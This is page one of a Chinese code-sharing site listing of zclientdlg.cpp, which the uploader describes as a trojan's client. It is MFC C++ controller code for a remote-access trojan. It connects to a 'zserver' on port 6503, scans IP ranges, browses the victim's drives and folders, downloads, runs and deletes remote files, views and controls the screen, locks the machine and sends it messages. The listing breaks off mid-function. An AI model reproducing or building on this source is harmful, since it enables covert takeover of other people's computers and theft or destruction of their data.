⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zclientdlg.cpp

📁 vc源代码 一个木马的客户端和服务端 要小心啊
💻 CPP
📖 第 1 页 / 共 2 页
字号:
// zclientDlg.cpp : implementation file
//

#include "stdafx.h"
#include "zclient.h"
#include "zclientDlg.h"
#include "StatusDlg.h"
#include "screendlg.h"
#include "senddlg.h"

#include "io.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

CZclientDlg *pDlg;
CStatusDlg *pStatusDlg;
CScreenDlg *pScreenDlg;
CSendDlg *pSendDlg;
UINT SearchIP(LPVOID nParam);

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	afx_msg void OnButtonMail();
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
	ON_BN_CLICKED(IDC_BUTTON_MAIL, OnButtonMail)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CZclientDlg dialog

CZclientDlg::CZclientDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CZclientDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CZclientDlg)
	m_IP = _T("");
	m_Port = 0;
	m_SearchIP = _T("");
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

	pDlg=this;
	pStatusDlg=NULL;
	pScreenDlg=NULL;

}

void CZclientDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CZclientDlg)
	DDX_Control(pDX, IDC_LIST_ACTIVEIP, m_ListActiveIP);
	DDX_Control(pDX, IDC_LIST_FILE, m_List);
	DDX_Control(pDX, IDC_TREE_DIR, m_Tree);
	DDX_Text(pDX, IDC_EDIT_IP, m_IP);
	DDV_MaxChars(pDX, m_IP, 15);
	DDX_Text(pDX, IDC_EDIT_PORT, m_Port);
	DDV_MinMaxUInt(pDX, m_Port, 1, 65536);
	DDX_Text(pDX, IDC_EDIT_IP_SEARCH, m_SearchIP);
	DDV_MaxChars(pDX, m_SearchIP, 11);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CZclientDlg, CDialog)
	//{{AFX_MSG_MAP(CZclientDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTTON_CONNECT, OnButtonConnect)
	ON_BN_CLICKED(IDC_BUTTON_GETTREE, OnButtonGettree)
	ON_BN_CLICKED(IDC_BUTTON_GETSCREEN, OnButtonGetscreen)
	ON_COMMAND(ID_MENU_FILEOPT_SAVE, OnMenuFileoptSave)
	ON_NOTIFY(NM_RCLICK, IDC_LIST_FILE, OnRclickListFile)
	ON_NOTIFY(NM_CLICK, IDC_TREE_DIR, OnClickTreeDir)
	ON_COMMAND(ID_MENU_FILEOPT_RUN, OnMenuFileoptRun)
	ON_BN_CLICKED(IDC_BUTTON_SEARCHIP, OnButtonSearchIP)
	ON_NOTIFY(NM_CLICK, IDC_LIST_ACTIVEIP, OnClickListActiveip)
	ON_BN_CLICKED(IDC_BUTTON_LOCK, OnButtonLock)
	ON_BN_CLICKED(IDC_BUTTON_UNLOCK, OnButtonUnlock)
	ON_BN_CLICKED(IDC_BUTTON_SENDMESSAGE, OnButtonSendmessage)
	ON_COMMAND(ID_MENU_FILEOPT_DELFILE, OnMenuFileoptDelfile)
	ON_BN_CLICKED(IDC_BUTTON_REXIT, OnButtonRexit)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CZclientDlg message handlers

BOOL CZclientDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	
	m_IP="\0";
	m_Port=6503;
	UpdateData(FALSE);

	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CZclientDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CZclientDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CZclientDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

BOOL CZclientDlg::ConnectSocket()
{
	if(sktClient!=INVALID_SOCKET)
	{
		closesocket(sktClient);
	}
	
	//create socket

	int ret;

	hostent *host=NULL;
	
	sktClient=socket(AF_INET,SOCK_STREAM,0);
	if(sktClient==INVALID_SOCKET)
	{
		AfxMessageBox("无法创建SOCKET");
		return FALSE;
	}
	//set Recv and Send time out

	int TimeOut=6000; //设置发送超时6秒
	if(::setsockopt(sktClient,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
	{
		AfxMessageBox("设置发送超时错误");
		return FALSE;
	}
	TimeOut=6000;//设置接收超时6秒
	
	if(::setsockopt(sktClient,SOL_SOCKET,SO_RCVTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR)
	{
		AfxMessageBox("设置接收超时错误");
		return FALSE;
	}
	//设置非阻塞方式连接
	unsigned long ul = 1;
	ret = ioctlsocket(sktClient, FIONBIO, (unsigned long*)&ul);
	if(ret==SOCKET_ERROR)
	{
		AfxMessageBox("连接方式设置错误");
		return FALSE;
	}
	//得到输入的IP地址

	if(m_IP.GetLength()==0)
	{
		AfxMessageBox("清输入IP地址");
		return FALSE;
	}
	//连接
	sockaddrin.sin_family = AF_INET;
	sockaddrin.sin_port = htons(m_Port);
	sockaddrin.sin_addr .s_addr = inet_addr(m_IP);

	if(sockaddrin.sin_addr.s_addr == INADDR_NONE)
	{
		AfxMessageBox("真的有这个IP地址吗?");
		return FALSE;
	}
	
	connect(sktClient,(const struct sockaddr *)&sockaddrin,sizeof(sockaddrin));
	
	//select 模型,即设置超时
	struct timeval timeout ;
	fd_set r;
	
	FD_ZERO(&r);
	FD_SET(sktClient, &r); 

	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	timeout.tv_sec = 5; //连接超时15秒
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////
	////////////////////////////////////////////////////////////////////////////////////

	timeout.tv_usec =0;
	ret = select(0, 0, &r, 0, &timeout);
	if ( ret <= 0 )
	{
		closesocket(sktClient);
		return FALSE;
	}
	
	//一般非锁定模式套接比较难控制,可以根据实际情况考虑 再设回阻塞模式
	unsigned long ul1= 0 ;
	ret = ioctlsocket(sktClient, FIONBIO, (unsigned long*)&ul1);
	if(ret==SOCKET_ERROR)
	{
		closesocket (sktClient);
		AfxMessageBox("连接方式设置错误");
		return FALSE;
	}

	//确认是Zserver
	char cFlag[8]="zserve\0";
	send(sktClient,cFlag,8,0);//发送client端标志
	strcmp(cFlag,"\0");
	recv(sktClient,cFlag,8,0);//接收server端标志

	if(strcmp(cFlag,"zserve\0"))
	{
		AfxMessageBox("请确认对方机器上运行了本软件的server端");
		return FALSE;
	}
	return TRUE;
}

void CZclientDlg::OnButtonConnect() //测试连接
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);
	BeginWaitCursor();
	ShowStatusDlg();
	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	chrMission[0]=127;//设置命令
	pStatusDlg->m_strStatusMsg ="正在尝试连接……";
	pStatusDlg->UpdateData(FALSE);

	TestConnect();

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;
	EndWaitCursor();
}
/////////////////////////////////////////////////////////////////////

void CZclientDlg::OnButtonGettree() 
{
	//得到驱动器信息
	
	UpdateData(TRUE);
	strListIP=m_IP;

	BeginWaitCursor();
	ShowStatusDlg();

	strcpy(chrMission,"  \0");
	chrMission[0]=1;//设置命令
	GetDriverInfo();

	pStatusDlg->pDlg = NULL;
	pStatusDlg->EndDialog (0);
	pStatusDlg=0;

}


void CZclientDlg::GetItPath(HTREEITEM hitem,char *path)//得到全路径 ,hitem 是树的句柄,char 是得到的路径
{
	char tpath[MAX_PATH]="\0";
	char chrtmp[MAX_PATH]="\0";
	do{
		strcpy(chrtmp,m_Tree.GetItemText(hitem));
		strcat(chrtmp,"\\");
		strcat(chrtmp,tpath);
		strcpy(tpath,chrtmp);
		hitem=m_Tree.GetParentItem(hitem);
	}while(hitem!=0);
	strcpy(path,tpath);
}


void CZclientDlg::TestConnect()
{
	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
		return;
	}
	strcpy(chrReceive,"无法连接");

	send(sktClient,chrMission,300,0);
	recv(sktClient,chrReceive,300,0);
	closesocket(sktClient);
	AfxMessageBox(chrReceive);
	strcpy(chrReceive,"\0");
}

void CZclientDlg::GetDriverInfo()
{
	pStatusDlg->m_strStatusMsg ="正在连接";
	pStatusDlg->UpdateData (FALSE);

	if(!ConnectSocket())
	{   
		AfxMessageBox("无法连接");
		return;
	}
	
	m_Tree.DeleteAllItems();
	m_List.DeleteAllItems();

	send(sktClient,chrMission,300,0);

	pStatusDlg->m_strStatusMsg ="下载信息";
	pStatusDlg->UpdateData (FALSE);

	recv(sktClient,chrReceive,300,0);
	
	for(int i=0;i<=26;i++)
	{
		if(isalpha(chrReceive[i]))
		{
			if(chrReceive[i]=='?')
				continue;

			CString str;
			str.Format ("%c:",chrReceive[i]);

			m_Tree.InsertItem(str,TVI_ROOT,TVI_LAST );
		}
	}
	pStatusDlg->m_strStatusMsg ="完成";
	pStatusDlg->UpdateData (FALSE);

	closesocket(sktClient);
	
}

void CZclientDlg::listDirectory(HTREEITEM hTreeInst)
{

	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
		return;
	}

	send(sktClient,chrMission,300,0);
	DeleteTreeChildItem(hTreeInst);
	m_List.DeleteAllItems();
	pStatusDlg->m_strStatusMsg ="接收数据";
	pStatusDlg->UpdateData (FALSE);

	struct _MyFileInfo fileinfo;
	do{
		recv(sktClient,(char*)&fileinfo,sizeof(_MyFileInfo),0);
		if(fileinfo.Next ==0)
			break;
		HTREEITEM hit;
		if(fileinfo.IsDirectory ==1)
		{
			if(fileinfo.szFileName [0]=='.')
				continue;
			hit=m_Tree.InsertItem(fileinfo.szFileName ,hTreeInst,TVI_LAST);
			m_Tree.InsertItem(NULL,hit,TVI_LAST);
			
		}
		else
		{
			m_List.InsertItem(0,fileinfo.szFileName );
		}
	}while(fileinfo.InvaliDir !=1);
	closesocket(sktClient);
}

void CZclientDlg::DeleteTreeChildItem(HTREEITEM hit)
{
	HTREEITEM hchild;
	hchild=m_Tree.GetChildItem(hit);
	while(hchild!=0)
	{
		m_Tree.DeleteItem(hchild);
		hchild=m_Tree.GetChildItem(hit);
	}

}

void CZclientDlg::ShowStatusDlg()
{
	pStatusDlg = new CStatusDlg(this);
	pStatusDlg->Create(IDD_DIALOG_STATUS,this);
	pStatusDlg->ShowWindow(SW_SHOW);
	pStatusDlg->SetActiveWindow ();
	pStatusDlg->pDlg =this;

}


void CZclientDlg::OnButtonGetscreen() 
{
	// TODO: Add your control notification handler code here
	//显示CScreenDlg

	UpdateData(TRUE);

	CScreenDlg dlg;
	pScreenDlg = &dlg;
	pScreenDlg->pDlg = this;
	int nResponse = dlg.DoModal();
	if(nResponse!=IDCANCEL)
	{
		AfxMessageBox("无法连接");
	}
}



void CZclientDlg::MouseEvent(_MyMouseEvent met)
{
	pScreenDlg->SetWindowText ("屏幕控制 -> 发送鼠标动作");
	if(!ConnectSocket())
	{
		AfxMessageBox("无法连接");
		return;
	}
	
	send(sktClient,chrMission,300,0);
	send(sktClient,(char*)&met,sizeof(_MyMouseEvent),0);
	closesocket(sktClient);
	pScreenDlg->SetWindowText ("屏幕控制 -> 空闲");

}

void CZclientDlg::OnMenuFileoptSave() 
{
	// TODO: Add your command handler code here
	ShowStatusDlg();
	HTREEITEM hitTree=m_Tree.GetSelectedItem();
	char FullPath[MAX_PATH];
	GetItPath(hitTree,FullPath);
	
	int ListSel=m_List.GetSelectionMark();

	strcat(FullPath,m_List.GetItemText(ListSel,0));

	strcpy(chrMission,"  \0");//为命令留出一位(见readme文件)
	strcat(chrMission,FullPath);//设置好要打开的文件

	chrMission[0]=6;//设置命令

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -